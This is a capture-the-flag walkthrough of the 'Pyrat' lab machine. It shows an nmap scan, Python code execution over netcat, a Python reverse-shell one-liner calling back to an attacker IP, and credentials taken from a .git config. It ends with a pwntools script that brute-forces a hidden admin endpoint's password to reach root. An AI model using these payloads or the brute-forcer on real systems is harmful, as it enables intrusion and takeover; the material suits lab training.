Skip to main content

Pyrat

1. Introduction (from room)

Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.

2. Initial Reconnaissance

export TARGET_IP=10.10.8.145  # Replace with the actual target IP
nmap $TARGET_IP

Results:

Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt

3. Initial Interaction and Vulnerability Discovery

Visiting http://10.10.8.145:8000 in a web browser displays a message: "Try a more basic connection." This suggests interacting directly with the service using a tool like Netcat.

nc $TARGET_IP 8000 -v
  • -v: Verbose output, showing connection details.

After connecting with Netcat, we can interact with the service. By entering Python code, we observe that the server executes it. This immediately points to a potential Remote Code Execution (RCE) vulnerability.

Testing for RCE:

We send the following Python code to list files:

print(os.listdir('/opt/dev/.git'))

Response:

['objects', 'COMMIT_EDITMSG', 'HEAD', 'description', 'hooks', 'config', 'info', 'logs', 'branches', 'refs', 'index']

To read the content of a file:

print(open('/opt/dev/.git/config', 'r').read())

This confirms the RCE vulnerability, allowing us to execute arbitrary Python code on the server.

4. Exploitation: Gaining a Shell

We can leverage the RCE to obtain a reverse shell, providing interactive access to the system.

Setting up a Listener:

nc -lvnp 6666

Crafting the Payload:

We send the following Python reverse shell payload to the target:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.17.44",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

Explanation:

  • This code creates a socket, connects back to our listener (replace "10.2.17.44" with your attacking machine's IP), and spawns a shell (sh).
  • os.dup2() redirects standard input, output, and error to the socket, giving us interactive control.
  • pty.spawn() provides a pseudo-terminal, improving shell interaction.

Result:

After sending the payload, our Netcat listener receives a connection, giving us a shell as the www-data user.

id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Privilege Escalation (Part 1): Finding Credentials

Now that we have a shell, we begin the privilege escalation phase. We explore the file system, looking for sensitive information.

Based on previous directory listing of /opt/dev/.git, we examine the Git configuration file:

cat /opt/dev/.git/config

Contents of config:

config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com

[credential]
helper = cache --timeout=3600

[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_

We discover credentials for a user named think.

6. Privilege Escalation (Part 2): User think

We attempt to use the discovered credentials to log in via SSH (you could also su think if already in there):

ssh think@$TARGET_IP
# Password: _TH1NKINGPirate$_

This successfully logs us in as the think user.

id
# uid=1000(think) gid=1000(think) groups=1000(think)

7. Further Investigation: Analyzing the Application

We continue our investigation to understand the application better. We navigate to the /opt/dev directory and examine the Git repository:

cd /opt/dev
git status

Output:

On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old

This indicates a deleted file named pyrat.py.old, which could contain valuable information about an older version of the application.

We restore the deleted file:

git restore pyrat.py.old
cat pyrat.py.old

Contents of pyrat.py.old (Partial):

def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()

if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)

def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e)

This code reveals the server's logic, confirming our initial RCE vulnerability and exposing a potential "admin" endpoint and a "shell" command. It also shows a switch_case function that handles different commands. The some_endpoint string hints at other possible endpoints, and an uid check before calling the shell method.

8. Privilege Escalation (Part 3): Finding the Admin Endpoint and Password

The pyrat.py.old code suggests the existence of other endpoints. We use a brute-force approach to discover them and their associated passwords.

Fuzzing Script (fuzz_endpoint_and_password.py):

fuzz_endpoint_and_password.py
from pwn import *
import re
import logging

# --- Configure Logging ---
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def fuzz_password(target_ip, target_port, wordlist_file, endpoint):
"""
Fuzzes passwords for a specific endpoint using pwntools.
"""
try:
with open(wordlist_file, "r", encoding="latin-1") as f:
for password in f:
password = password.strip()
try:
conn = remote(target_ip, target_port)
conn.sendline(endpoint.encode())
response = conn.recvuntil(b"Password:", timeout=2)
logging.debug(f"Endpoint response: {response.decode().strip()}")

if b"Password:" not in response:
logging.warning(f"Unexpected response from endpoint: {response.decode().strip()}")
conn.close()
continue

conn.sendline(password.encode())
response = conn.recvline(timeout=2) # Read the immediate response
response += conn.recvline(timeout=2) # Read a *second* line!

if b"Password:" in response:
logging.debug(f"[-] Tried password: {password}, Password incorrect.")
conn.close()
continue
elif b"incorrect" not in response.lower() and response.strip() != b"": #added check for incorrect and empty
logging.info(f"[+] Found password: {password}")
logging.info(f" Response: {response.decode().strip()}")
conn.close()
return password
else: #debug
logging.debug(f"[-] Tried password: {password}, Response: {response.decode().strip()}")
conn.close()

except (pwnlib.exception.PwnlibException, TimeoutError, OSError) as e:
logging.error(f"[-] Error connecting for password '{password}': {e}")
# Optionally break/continue here
continue
except Exception as e: #catch other errors
logging.error(f"[-] Unexpected error: {e}")
continue


except FileNotFoundError:
logging.error(f"[-] Error: Wordlist file not found: {wordlist_file}")
return None
return None


def fuzz_endpoint(target_ip, target_port, wordlist_file):
"""
Fuzzes endpoints and then passwords using pwntools.
"""
try:
with open(wordlist_file, 'r') as wordlist:
for word in wordlist:
word = word.strip()
if not re.match(r"^[a-zA-Z_]+$", word):
continue

try:
conn = remote(target_ip, target_port)
conn.sendline(word.encode())
response = conn.recvline(timeout=2).decode()
conn.close()

if "name '" + word + "' is not defined" not in response and "Traceback" not in response and response.strip() !="" :
logging.info(f"[+] Found potential endpoint: {word}")
logging.info(f" Response: {response.strip()}")

password_wordlist = "/usr/share/wordlists/rockyou.txt"
found_password = fuzz_password(target_ip, target_port, password_wordlist, word)
if found_password:
return word, found_password
else:
logging.warning(f"[-] No password found for endpoint: {word}")
return word, None
else: #debug
logging.debug(f"[-] Tried endpoint: {word}, Response: {response.strip()}")

except (pwnlib.exception.PwnlibException, TimeoutError, OSError) as e:
logging.error(f"[-] Error connecting for endpoint '{word}': {e}")
# break/continue
continue
except Exception as e: #catch other errors
logging.error(f"[-] Unexpected error: {e}")
continue

except FileNotFoundError:
logging.error(f"[-] Error: Wordlist file not found: {wordlist_file}")
return None, None
return None, None



if __name__ == "__main__":
target_ip = "10.10.119.253" # Replace with the correct IP
target_port = 8000
endpoint_wordlist = "list_of_api_endpoints_and_objects.txt" # Your endpoint list

found_endpoint, found_password = fuzz_endpoint(target_ip, target_port, endpoint_wordlist)
if found_endpoint:
if found_password:
print(f"Complete Command: {found_endpoint} {found_password}")
else:
print("Endpoint found but the password could not be found")
else:
print("Endpoint not found")

Explanation:

  • Imports: Uses pwn library, re (regular expressions) and logging
  • fuzz_endpoint Function:
    • Reads a list of potential endpoint names from list_of_api_endpoints_and_objects.txt.
    • Iterates through each word, sending it to the target server.
    • Checks if the response indicates a valid endpoint (not "not defined" and has a response).
    • If a valid endpoint is found, it calls fuzz_password to try and find the password.
  • fuzz_password Function:
    • Reads passwords from /usr/share/wordlists/rockyou.txt.
    • Sends the discovered endpoint followed by each password to the server.
    • Checks the response for indications of success ("Welcome Admin!!!").
  • Error Handling: Includes try-except blocks to handle network connection errors and file not found errors.
  • Logging: Uses logging library to organize the information output.
  • Regular expression filtering: Checks if the endpoint word is alphanumeric.

Running the Script:

python3 fuzz_endpoint_and_password.py

Output:

... (truncated for brevity)
[+] Found potential endpoint: admin
Response: Password:
...
[+] Found password: abc123
Response: Welcome Admin!!! Type "shell" to begin
Complete Command: admin abc123

The script discovers the endpoint admin and its password abc123.

9. Final Privilege Escalation: Root Access

We now have the correct endpoint and password to gain root access. We connect again using Netcat:

nc $TARGET_IP 8000 -v

We send the following commands:

admin
abc123
shell
id # uid=0(root) gid=0(root) groups=0(root)

We have successfully obtained a root shell!